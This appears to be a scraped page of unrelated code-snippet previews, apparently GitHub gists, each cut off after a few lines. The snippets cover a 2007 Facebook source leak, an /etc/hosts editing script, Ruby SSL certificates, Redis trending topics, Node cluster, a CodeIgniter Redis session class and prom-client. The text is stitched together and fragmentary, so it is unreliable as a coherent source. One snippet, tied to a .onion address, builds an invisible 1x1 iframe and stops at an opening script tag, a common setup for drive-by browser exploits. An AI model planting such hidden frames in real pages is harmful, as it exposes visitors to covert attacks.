In August 2007 a hacker found a way to expose the PHP source code on facebook.com. He retrieved two files and then emailed them to me, and I wrote about the issue:
http://techcrunch.com/2007/08/11/facebook-source-code-leaked/
It became a big deal:
http://www.techmeme.com/070812/p1#a070812p1
The two files are index.php (the homepage) and search.php (the search page)
| #!/bin/sh | |
| # PATH TO YOUR HOSTS FILE | |
| ETC_HOSTS=/etc/hosts | |
| # DEFAULT IP FOR HOSTNAME | |
| IP="127.0.0.1" | |
| # Hostname to add/remove. | |
| HOSTNAME=$1 |
There is a long standing issue in Ruby where the net/http library by default does not check the validity of an SSL certificate during a TLS handshake. Rather than deal with the underlying problem (a missing certificate authority, a self-signed certificate, etc.) one tends to see bad hacks everywhere. This can lead to problems down the road.
From what I can see the OpenSSL library that Rails Installer delivers has no certificate authorities defined. So, let's go fetch some from the curl website. And since this is for ruby, why don't we download and install the file with a ruby script?
| # ------------------------------------------------------------------ | |
| # Desigining "trending topics in 24 hours sliding window" with Redis | |
| # ------------------------------------------------------------------ | |
| redis-cli del tophashes:2010-12-07-08-00 | |
| redis-cli del tophashes:2010-12-07-09-00 | |
| redis-cli del tophashes:current | |
| echo '=== 8:00 AM ===' |
| var cluster = require('cluster'); | |
| var http = require('http'); | |
| var numCPUs = require('os').cpus().length; | |
| if (cluster.isMaster) { | |
| // Fork workers. | |
| for (var i = 0; i < numCPUs; i++) { | |
| cluster.fork(); | |
| } | |
| cluster.on('exit', function(worker, code, signal) { |
| # remove specified host from /etc/hosts | |
| function removehost() { | |
| if [[ "$1" ]] | |
| then | |
| HOSTNAME=$1 | |
| if [ -n "$(grep $HOSTNAME /etc/hosts)" ] | |
| then | |
| echo "$HOSTNAME Found in your /etc/hosts, Removing now..."; | |
| sudo sed -i".bak" "/$HOSTNAME/d" /etc/hosts |
| <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); | |
| class MY_Session extends CI_Session{ | |
| private $sess_use_redis = TRUE; | |
| private $redis = ''; | |
| public function __construct($params = array()) { | |
| //parent::__construct(); | |
| $this->CI =& get_instance(); |
| //nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 iframe: | |
| <html> | |
| <body> | |
| <iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe> | |
| </body> | |
| </html> | |
| <script> |
| var express = require('express'); | |
| var client = require('prom-client'); | |
| var server = express(); | |
| var counter = new client.Counter('push_notification', 'yaelah gitu aja ga paham', ['type']); | |
| server.get('/send', function(req, res){ | |
| counter.inc({ type : 'android' }) | |
| res.send('sent') | |
| }) |
